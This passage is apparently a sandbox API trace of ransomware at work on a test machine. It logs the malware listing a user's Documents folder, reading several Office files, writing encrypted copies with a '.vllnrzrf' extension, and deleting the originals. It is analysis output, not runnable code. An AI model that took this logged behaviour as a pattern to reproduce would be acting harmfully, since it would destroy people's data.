ftLastAccessTime.dwLowDateTime=0x11538f80, ftLastAccessTime.dwHighDateTime=0x1d57b1b, ftLastWriteTime.dwLowDateTime=0x11538f80, ftLastWriteTime.dwHighDateTime=0x1d57b1b, nFileSizeHigh=0x0, nFileSizeLow=0x11a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlLwY2J.pptx", cAlternateFileName="MLLWY2~1.PPT")) returned 1 [0093.820] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0093.821] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0093.821] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0093.821] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0093.821] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0093.822] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e2c6a0, ftCreationTime.dwHighDateTime=0x1d5832e, ftLastAccessTime.dwLowDateTime=0x7f9f7ad0, ftLastAccessTime.dwHighDateTime=0x1d577e2, ftLastWriteTime.dwLowDateTime=0x7f9f7ad0, ftLastWriteTime.dwHighDateTime=0x1d577e2, nFileSizeHigh=0x0, nFileSizeLow=0x62e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QRT-A.docx", cAlternateFileName="QRT-A~1.DOC")) returned 1 [0093.822] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3bf7f20, ftCreationTime.dwHighDateTime=0x1d5b651, ftLastAccessTime.dwLowDateTime=0xd76fd650, ftLastAccessTime.dwHighDateTime=0x1d5c121, ftLastWriteTime.dwLowDateTime=0xd76fd650, ftLastWriteTime.dwHighDateTime=0x1d5c121, nFileSizeHigh=0x0, nFileSizeLow=0x113ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="T5opIR4HM6dqUocCUV.pptx", cAlternateFileName="T5OPIR~1.PPT")) returned 1 [0093.822] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c69a510, ftCreationTime.dwHighDateTime=0x1d58790, ftLastAccessTime.dwLowDateTime=0x25a7a000, ftLastAccessTime.dwHighDateTime=0x1d5b5dd, ftLastWriteTime.dwLowDateTime=0x25a7a000, ftLastWriteTime.dwHighDateTime=0x1d5b5dd, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="UaVNws2umfTpEK.xlsx", cAlternateFileName="UAVNWS~1.XLS")) returned 1 [0093.822] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd666f760, ftCreationTime.dwHighDateTime=0x1d56222, ftLastAccessTime.dwLowDateTime=0xfd89b320, ftLastAccessTime.dwHighDateTime=0x1d572d8, ftLastWriteTime.dwLowDateTime=0xfd89b320, ftLastWriteTime.dwHighDateTime=0x1d572d8, nFileSizeHigh=0x0, nFileSizeLow=0x125c, dwReserved0=0x0, dwReserved1=0x0, cFileName="uptd3.pptx", cAlternateFileName="UPTD3~1.PPT")) returned 1 [0093.822] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe34ab0, ftCreationTime.dwHighDateTime=0x1d5b8cd, ftLastAccessTime.dwLowDateTime=0xa224d250, ftLastAccessTime.dwHighDateTime=0x1d592ac, ftLastWriteTime.dwLowDateTime=0xa224d250, ftLastWriteTime.dwHighDateTime=0x1d592ac, nFileSizeHigh=0x0, nFileSizeLow=0x72ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="x1 rxYPKg8eQLZux.docx", cAlternateFileName="X1RXYP~1.DOC")) returned 1 [0093.823] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72e70480, ftCreationTime.dwHighDateTime=0x1d5dbaf, ftLastAccessTime.dwLowDateTime=0xe9a60fa0, ftLastAccessTime.dwHighDateTime=0x1d5dcc5, ftLastWriteTime.dwLowDateTime=0xe9a60fa0, ftLastWriteTime.dwHighDateTime=0x1d5dcc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xG3o4vXcW", cAlternateFileName="XG3O4V~1")) returned 1 [0093.823] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbcb59f0, ftCreationTime.dwHighDateTime=0x1d55ce2, ftLastAccessTime.dwLowDateTime=0x67f46290, ftLastAccessTime.dwHighDateTime=0x1d5ab6a, ftLastWriteTime.dwLowDateTime=0x67f46290, ftLastWriteTime.dwHighDateTime=0x1d5ab6a, nFileSizeHigh=0x0, nFileSizeLow=0x9e8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zGgdIW-97J_.xlsx", cAlternateFileName="ZGGDIW~1.XLS")) returned 1 [0093.823] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b07da0, ftCreationTime.dwHighDateTime=0x1d56145, ftLastAccessTime.dwLowDateTime=0x3bf6c240, ftLastAccessTime.dwHighDateTime=0x1d5c894, ftLastWriteTime.dwLowDateTime=0x3bf6c240, ftLastWriteTime.dwHighDateTime=0x1d5c894, nFileSizeHigh=0x0, nFileSizeLow=0xd70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZOqysEitRTeh33UX-C8.xlsx", cAlternateFileName="ZOQYSE~1.XLS")) returned 1 [0093.823] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.824] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0093.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e190) returned 1 [0093.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e150) returned 1 [0093.825] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx", lpFilePart=0x0) returned 0x36 [0093.826] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx", lpFilePart=0x0) returned 0x36 [0093.826] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx", lpFilePart=0x0) returned 0x36 [0093.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0093.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2fysj-xfy.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0093.826] GetFileType (hFile=0x41c) returned 0x1 [0093.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0093.826] GetFileType (hFile=0x41c) returned 0x1 [0093.826] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x570f [0093.827] ReadFile (in: hFile=0x41c, lpBuffer=0x236fe10, nNumberOfBytesToRead=0x570f, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x236fe10*, lpNumberOfBytesRead=0x1cf8e1f8*=0x570f, lpOverlapped=0x0) returned 1 [0093.828] CloseHandle (hObject=0x41c) returned 1 [0093.842] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx.vllnrzrf", lpFilePart=0x0) returned 0x3f [0093.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0093.842] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2fysj-xfy.docx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0093.843] GetFileType (hFile=0x41c) returned 0x1 [0093.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0093.843] GetFileType (hFile=0x41c) returned 0x1 [0093.843] WriteFile (in: hFile=0x41c, lpBuffer=0x239e798*, nNumberOfBytesToWrite=0x590f, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x239e798*, lpNumberOfBytesWritten=0x1cf8e258*=0x590f, lpOverlapped=0x0) returned 1 [0093.845] CloseHandle (hObject=0x41c) returned 1 [0093.849] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx", lpFilePart=0x0) returned 0x36 [0093.849] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx", lpFilePart=0x0) returned 0x36 [0093.849] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2Fysj-xfy.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2fysj-xfy.docx")) returned 1 [0093.860] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx", lpFilePart=0x0) returned 0x33 [0093.860] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx", lpFilePart=0x0) returned 0x33 [0093.860] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx", lpFilePart=0x0) returned 0x33 [0093.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0093.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8gduky.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0093.860] GetFileType (hFile=0x41c) returned 0x1 [0093.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0093.860] GetFileType (hFile=0x41c) returned 0x1 [0093.860] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0xd4ea [0093.861] ReadFile (in: hFile=0x41c, lpBuffer=0x23a4c00, nNumberOfBytesToRead=0xd4ea, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x23a4c00*, lpNumberOfBytesRead=0x1cf8e1f8*=0xd4ea, lpOverlapped=0x0) returned 1 [0093.862] CloseHandle (hObject=0x41c) returned 1 [0093.875] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx.vllnrzrf", lpFilePart=0x0) returned 0x3c [0093.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0093.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8gduky.xlsx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0093.876] GetFileType (hFile=0x41c) returned 0x1 [0093.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0093.876] GetFileType (hFile=0x41c) returned 0x1 [0093.876] WriteFile (in: hFile=0x41c, lpBuffer=0x23ef798*, nNumberOfBytesToWrite=0xd6ea, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x23ef798*, lpNumberOfBytesWritten=0x1cf8e258*=0xd6ea, lpOverlapped=0x0) returned 1 [0093.878] CloseHandle (hObject=0x41c) returned 1 [0093.886] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx", lpFilePart=0x0) returned 0x33 [0093.886] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx", lpFilePart=0x0) returned 0x33 [0093.887] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8GDukY.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8gduky.xlsx")) returned 1 [0093.890] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx", lpFilePart=0x0) returned 0x3a [0093.890] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx", lpFilePart=0x0) returned 0x3a [0093.890] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx", lpFilePart=0x0) returned 0x3a [0093.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0093.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\a-aqezeb7qi3e.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0093.890] GetFileType (hFile=0x41c) returned 0x1 [0093.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0093.891] GetFileType (hFile=0x41c) returned 0x1 [0093.891] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x184b5 [0093.891] ReadFile (in: hFile=0x41c, lpBuffer=0x1232aeb0, nNumberOfBytesToRead=0x184b5, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x1232aeb0*, lpNumberOfBytesRead=0x1cf8e1f8*=0x184b5, lpOverlapped=0x0) returned 1 [0093.894] CloseHandle (hObject=0x41c) returned 1 [0095.966] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx.vllnrzrf", lpFilePart=0x0) returned 0x43 [0095.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0095.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\a-aqezeb7qi3e.docx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0095.973] GetFileType (hFile=0x41c) returned 0x1 [0095.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0095.973] GetFileType (hFile=0x41c) returned 0x1 [0095.973] WriteFile (in: hFile=0x41c, lpBuffer=0x123bcb38*, nNumberOfBytesToWrite=0x186b5, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x123bcb38*, lpNumberOfBytesWritten=0x1cf8e258*=0x186b5, lpOverlapped=0x0) returned 1 [0095.977] CloseHandle (hObject=0x41c) returned 1 [0095.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx", lpFilePart=0x0) returned 0x3a [0095.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx", lpFilePart=0x0) returned 0x3a [0095.981] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-AqEZEB7qI3E.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\a-aqezeb7qi3e.docx")) returned 1 [0095.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx", lpFilePart=0x0) returned 0x36 [0095.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx", lpFilePart=0x0) returned 0x36 [0095.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx", lpFilePart=0x0) returned 0x36 [0095.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0095.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cprcy1sve.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0095.986] GetFileType (hFile=0x41c) returned 0x1 [0095.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0095.986] GetFileType (hFile=0x41c) returned 0x1 [0095.986] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x15f6d [0095.987] ReadFile (in: hFile=0x41c, lpBuffer=0x123d5228, nNumberOfBytesToRead=0x15f6d, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x123d5228*, lpNumberOfBytesRead=0x1cf8e1f8*=0x15f6d, lpOverlapped=0x0) returned 1 [0096.742] CloseHandle (hObject=0x41c) returned 1 [0096.768] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx.vllnrzrf", lpFilePart=0x0) returned 0x3f [0096.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0096.768] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cprcy1sve.docx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0096.771] GetFileType (hFile=0x41c) returned 0x1 [0096.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0096.771] GetFileType (hFile=0x41c) returned 0x1 [0096.771] WriteFile (in: hFile=0x41c, lpBuffer=0x12458f20*, nNumberOfBytesToWrite=0x1616d, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x12458f20*, lpNumberOfBytesWritten=0x1cf8e258*=0x1616d, lpOverlapped=0x0) returned 1 [0096.774] CloseHandle (hObject=0x41c) returned 1 [0096.780] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx", lpFilePart=0x0) returned 0x36 [0096.780] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx", lpFilePart=0x0) returned 0x36 [0096.780] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CPRCY1SvE.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cprcy1sve.docx")) returned 1 [0097.069] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx", lpFilePart=0x0) returned 0x3a [0097.069] GetFullPathNameW (in: 